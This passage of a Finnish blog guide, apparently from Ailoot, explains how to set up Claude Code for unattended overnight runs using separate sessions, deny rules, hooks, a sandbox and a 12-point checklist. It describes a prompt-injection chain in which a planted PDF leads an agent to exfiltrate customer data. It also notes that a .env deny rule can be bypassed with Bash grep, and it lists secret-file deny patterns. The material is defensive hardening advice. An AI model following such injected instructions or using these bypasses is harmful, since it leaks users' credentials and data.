Käytännön johtopäätös: käytä hookeja lisätarkistuksina hävitettävässä palautettavassa ympäristössä. Myös paikallinen projekti voi sisältää seuraamattomia tiedostoja tai tunnistetietoja, joita Git ei palauta. Punaisella vyöhykkeellä todellisten pääsyrajojen pitää rajata hookin ohitus. Regex-kokoelma ei muuta mielivaltaista komentotulkkisuoritusta deterministiseksi turvallisuustakuuksi.
## Miksi eri tehtävätyypit kannattaa erottaa kolmeksi istuntotyypiksi?
Keskeinen huomio
Vaarallisin ketju koostuu kolmesta tavallisesta peräkkäisestä komennosta, ei yhdestä huonosta komennosta. Agentti lukee `.env`-tiedoston (oikeutettua), jäsentää saapuvan sähköpostin (oikeutettua) ja lähettää HTTP-pyynnön ulkoiseen kohteeseen (oikeutettua). Kukin toiminto on yksinään turvallinen, mutta yhdessä ne muodostavat tietojen ulossiirron. Suojauskeino on erottaa kolme tehtävätyyppiä omiin istuntoihinsa, joilla on erilaiset käyttöoikeudet.
Kolmen tehtävätyypin ei pitäisi koskaan olla samassa istunnossa:
**Tyyppi 1: henkilötietojen käsittely.** Istunnolla on pääsy tuotantotietokantaan, se voi lähettää sähköpostia ja näkee tunnistetiedot. Sillä EI ole pääsyä ulkoisiin asiakirjoihin (sähköposteihin, PDF-tiedostoihin tai verkkosivuihin), EIKÄ se VOI lähettää tietoja mielivaltaisiin osoitteisiin.
**Tyyppi 2: ulkoisten asiakirjojen käsittely.** Istunto voi jäsentää saapuvia sähköposteja, ladata verkkosivuja ja lukea sähköpostien liitteenä olevia PDF-tiedostoja. Sillä EI ole pääsyä henkilötietoja sisältävään tietokantaan, EIKÄ se VOI lähettää mitään ulkoisesti ilman nimenomaista vahvistusta.
**Tyyppi 3: ulkoinen julkaiseminen.** Istunto voi julkaista sisältöä sosiaalisissa verkostoissa, lähettää sähköpostikampanjoita ja luoda pull requesteja. Sillä EI ole pääsyä henkilötietoihin, EIKÄ se käsittele saapuvaa sisältöä.
Miksi erottaa ne? Jos yksi istunto tekee kaiken, istutettuun PDF-tiedostoon piilotettu yksittäinen kehoteinjektio (kilpaileva toimisto lähetti ”laskun”) riittää siihen, että agentti lukee kerralla asiakastietokantasi, etsii sieltä asiakkaiden sähköpostiosoitteet ja lähettää ne hyökkääjän osoitteeseen. Ketjun kukin toiminto on asianmukainen omalle tehtävätyypilleen. Yhdessä ne muodostavat tietovuodon.
Pelottavin tietojen ulossiirtokuvio ei koostu yhdestä huonosta komennosta. Se on ketju täysin tavallisia komentoja. Agentti lukee .env-tiedoston (sallittu), lähettää sen HTTP:llä (sallittu), ja siinä se.
— ibrahim_h, HackerNews
Käytännössä tämä toteutetaan käyttämällä eri `.claude`-hakemistoja eri tehtävätyypeille. Pidän koneellani kolmea kokoonpanoa: `~/projects/business-ops/.claude/` (tyyppi 1, pääsy tietokantaan, verkkoyhteys estetty sisäisiä rajapintoja lukuun ottamatta), `~/projects/inbox-parsing/.claude/` (tyyppi 2, kaikki verkkoyhteydet estetty), `~/projects/social-posting/.claude/` (tyyppi 3, verkkoyhteys sallittu Telegram- ja Slack-rajapinnoille). Kukin hakemisto on Claude Codelle erillinen projekti, jolla on omat käyttöoikeudet ja hookit.
## Mitkä 12 tarkistuslistan kohtaa käyn läpi ennen /loop-komentoa?
Keskeinen huomio
Käyn läpi 12 kohdan tarkistuslistan ennen kuin käynnistän yöksi `/loop`- tai `/schedule`-komennon tai komennon `claude --bg`. Lista ulottuu käyttäjätason `deny`-säännön sisältävästä tiedostosta `~/.claude/settings.json` aina verkkoeristettyyn `/sandbox`-tilaan. Jos yksikin kohta puuttuu, en käynnistä ajoa.
1. Käyttäjätason `deny`-säännöt sisältävä `~/.claude/settings.json`, jossa estetään `.env*`, `*.pem`, `*.key`, `credentials*.json`, `~/.ssh/**` ja `~/.aws/**`. Tämä on perusta; ilman sitä muut toimet ovat turhia.
2. `disableBypassPermissionsMode: "disable"` tiedostossa `~/.claude/settings.json`. Estää YOLO-valitsimen lopullisesti.
3. `block-secret-reads.sh`-esimerkit on testattu valituilla salaisuuslukukomennoilla. Oikeat salaisuudet ja tuotantotunnisteet ovat valvomattoman ympäristön pääsyn ulkopuolella.
4. `block-force-push.sh`-esimerkki estää tunnistetut kirjaimelliset pushit lippujärjestyksestä tai kohteesta riippumatta. Git-palvelin pakottaa suojatut haarat ja tunnisteet, jotka eivät ohita sääntöjä.
5. `block-destructive-sql.sh`-hook komennoille `DROP TABLE`, `TRUNCATE` ja `DELETE FROM` ilman `WHERE`-ehtoa.
6. `block-rm-rf.sh`-hook komennolle `rm -rf` ilman nimenomaista kohderajausta.
7. `ask-on-new-deps.sh`-hook komennolle `npm install ` (erillinen komennosta `npm install` ilman argumentteja).
8. `ask-on-lockfile-change.sh`-hook kirjoituksille tiedostoihin `package.json`, `pnpm-lock.yaml`, `requirements.txt`, `pyproject.toml` ja `Cargo.toml`.
9. Kaikki Bash-, Write- ja Edit-kutsut kattava loki `audit.jsonl`. Ilman sitä tapahtumien jälkikäsittely on mahdotonta.
10. Kaikki pitkäkestoiset taustaistunnot suoritetaan worktreessä, ei päähaarassa: `claude --bg "task"` luo worktreen automaattisesti, mutta tarkista, ettei `settings.json` sisällä asetusta `worktree.bgIsolation: "none"`.
11. `/sandbox` ennen pitkäkestoisen itsenäisen tehtävän käynnistämistä. Tiedostojärjestelmän käyttö rajoitetaan projektihakemistoon ja `/tmp`-hakemistoon. Verkon sallittujen kohteiden luetteloon lisätään `api.anthropic.com`, `github.com` ja `registry.npmjs.org`.
12. Tehtävässä on tarkistusvaihe: jokaisen merkittävän muutoksen jälkeen suoritetaan testiajuri tai lintteri. Jos ne epäonnistuvat, agentti ei jatka, ennen kuin ongelmat on korjattu.
Viimeinen kohta kuvaa työskentelytapaa, ei työkalun asetusta. Anna Claudelle keino tarkistaa työnsä. Ilman tarkistusta yön yli toimiva agentti voi jatkaa työskentelyä huomaamatta virheitä. Tarkistuksen avulla se ei jatka, ennen kuin tarkistus onnistuu.
## 7 vältettävää toimintatapaa
Keskeinen huomio
Seitsemän yleistä virhettä tässä kuvatuissa projekteissa: `--dangerously-skip-permissions`-tilan käyttäminen tuotantoon pääsevässä koneessa, pelkkään `CLAUDE.md`-tiedostoon luottaminen, `permissions.deny`-sääntöjen luottaminen ilman hookia sekä auto-mode-tilan käyttäminen ilman varmuuskopiosääntöjä. Jokainen virhe liittyy lähteissä kuvattuihin todellisiin tapauksiin.
**1. `--dangerously-skip-permissions` tuotantoon pääsevässä isäntäkoneessa.** Browningstreet menetti sekä tuotanto- että kehitystietokantansa yhdellä ”siivoa”-komennolla. Virheen seurauksena palauttamiseen voi kulua tuntikausia, ja tietoja voi kadota sellaisten joukossa, joita ei ole varmuuskopioitu. Jos vahinko on jo tapahtunut, avaa opas [”Mitä tehdä, jos tekoäly poisti tietokannan: palautuksen tarkistuslista”](https://ailoot.ai/blog/fi/ai-deleted-database-recovery/) ja noudata sen 10 vaihetta järjestyksessä.
**2. Vain `CLAUDE.md`-tiedostoon luottaminen tietoturvassa.** Issue \#44868 osoitti, että malli toimii ensin ja pahoittelee vasta sitten. Tekstitiedostossa oleva ohje ei estä työkalukutsua. Oikein määritetty hook voi estää täsmäävät kutsut, kun taas käyttöjärjestelmän, hiekkalaatikon ja palvelun pääsyrajoitukset pakottavat laajemmat rajat. `CLAUDE.md` on tärkeä projektin kontekstin kannalta — käsittelin sitä erikseen oppaassa [”CLAUDE.md-tiedoston oikeaoppinen määrittäminen”](https://ailoot.ai/blog/fi/claude-md-template/) — mutta se ei suojaa itsenäiseltä agentilta.
**3. Pelkkään `settings.json`-tiedoston `permissions.deny`-sääntöön luottaminen ilman hookia.** Issue \#24846 on ollut avoinna helmikuusta 2026 lähtien. `.env*`-tiedostojen eston voi kiertää Bashin `grep`-komennolla. Hook voi lisätä tarkistuksia, mutta salaisuudet on suljettava myös valvomattoman ympäristön ulkopuolelle. Regex ei korvaa pääsynhallintaa täydellisesti.
**4. Auto-moden ja regex-hookien pitäminen tuotannon eristyksenä.** Mainittu väärien negatiivisten osuus on arviointikohtainen, ja hook-kattavuus on epätäydellinen. Poista tuotannon kirjoitustunnisteet ja varmista pakotettu raja olettamatta jokaisen vaarallisen toimen tulevan siepatuksi.
**5. Uuden paketin asentaminen komennolla `npm install` ilman vahvistusta.** Toimitusketjuhyökkäyksiä tapahtuu oikeasti. Vuoden 2024–2026 Tea-tags-tapaukset osoittivat, että tuhansia latauksia keränneitä kirjoitusasultaan väärennettyjä paketteja on olemassa. Tarvitset sallittujen pakettien luettelon.
**6. Bash-kutsujen lokituksen laiminlyöminen.** Ilman auditointilokia et voi ymmärtää, mitä yön aikana tapahtui. Keskusteluloki on pitkä, sitä ei ole indeksoitu komentojen mukaan, eikä se anna aikajanaa. `.claude/audit.jsonl` ratkaisee molemmat ongelmat.
**7. Worktreen käyttämättä jättäminen taustaistunnoissa.** Samaan hakemistoon sijoitetut rinnakkaiset istunnot häiritsevät toistensa työtä. Claude Codessa on oletusarvoisesti käyttöön otettu `worktree.bgIsolation` versiosta 2.1.143 lähtien, mutta tarkista asetuksesi.
Ja tärkein asia, jota mikään hook tai asetus ei voi estää:
Tuo lause ei ole tyylikysymys. Tuotannon suojaamisesta vastaa se, joka käynnisti agentin. Claude Code toimii kuin suora partaveitsi: sillä voi ajaa partansa, ja sillä voi myös viiltää itseään. Asetukset vastaavat yhteen kysymykseen: valmistelitko ympäristön niin hyvin, ettei partaveitsi viillä mitään, mihin sen ei pitäisi osua?
### Lähteet
- [Anthropic Claude Code Settings - virallinen dokumentaatio](https://code.claude.com/docs/en/settings)
- [Anthropic Claude Code Hooks - virallinen dokumentaatio](https://code.claude.com/docs/en/hooks)
- [Anthropic Claude Code Security - virallinen dokumentaatio](https://code.claude.com/docs/en/security)
- [Anthropic Engineering: Claude Coden hiekkalaatikko (20.10.2025)](https://www.anthropic.com/engineering/claude-code-sandboxing)
- [Anthropic Engineering: automaattinen tila ja turvallisuusluokittelija (25.03.2026)](https://www.anthropic.com/engineering/claude-code-auto-mode)
- [Claude Code CHANGELOG (versiot 2.1.157, 2.1.160)](https://raw.githubusercontent.com/anthropics/claude-code/main/CHANGELOG.md)
Vahinkoja ennaltaehkäisevä kokoonpano on osa **kontekstisuunnittelua**: rajoitat etukäteen, mitä agentti voi tehdä, ja vapautat sen näin tekemään sen, mitä haluat sen tekevän.
Lisää resursseja on saatavilla [Ailoot-sivustolla](https://ailoot.ai/).
## Kysymyksiä tästä oppaasta: Claude Coden määrittäminen niin, ettei se riko projektiasi yön aikana
### Suojaako force-push-hook tuotantoa jokaiselta komentotulkkikomennolta?
Ei. Korjattu esimerkki estää tunnistetut kirjaimelliset git push -kutsut kummallakin lippujärjestyksellä, oletushaaralla, refspecillä ja tavallisissa komentoketjuissa. Aliakset, wrapperit ja rakennetut komennot voivat ohittaa tekstintarkistuksen. Pakota suojatut haarat ja poista ohitustunnisteet.
### Mitä tarvitaan ennen agentin jättämistä työskentelemään yöksi?
Käytä eristettyä ympäristöä ilman tuotannon kirjoituspääsyä tai luettavia salaisuuksia, varmista verkko- ja palvelinrajoitukset ja testaa hookin tarkoitetut osumat sekä ohitukset. Hookit lisäävät tarkistuksia mutta eivät korvaa pakotettuja rajoja.
## Ailoot · Yritys ja sen projektisalkku
Ailoot perustuu kertyneeseen toimintakokemukseen, laajaan asiakaskuntaan, vakaaseen palveluun ja jatkuvaan KPI-seurantaan.
Yritys ja sen projektisalkku: miljoonia asiakkaita; kuukausittainen myynti miljardiluokassa.
Ailoot hyödyntää tätä toimintakokemusta tarjotessaan API-yhteyden tekoälytoimintoihin asiakkaiden tuotteissa, agenteissa, sovelluksissa ja automaatioissa.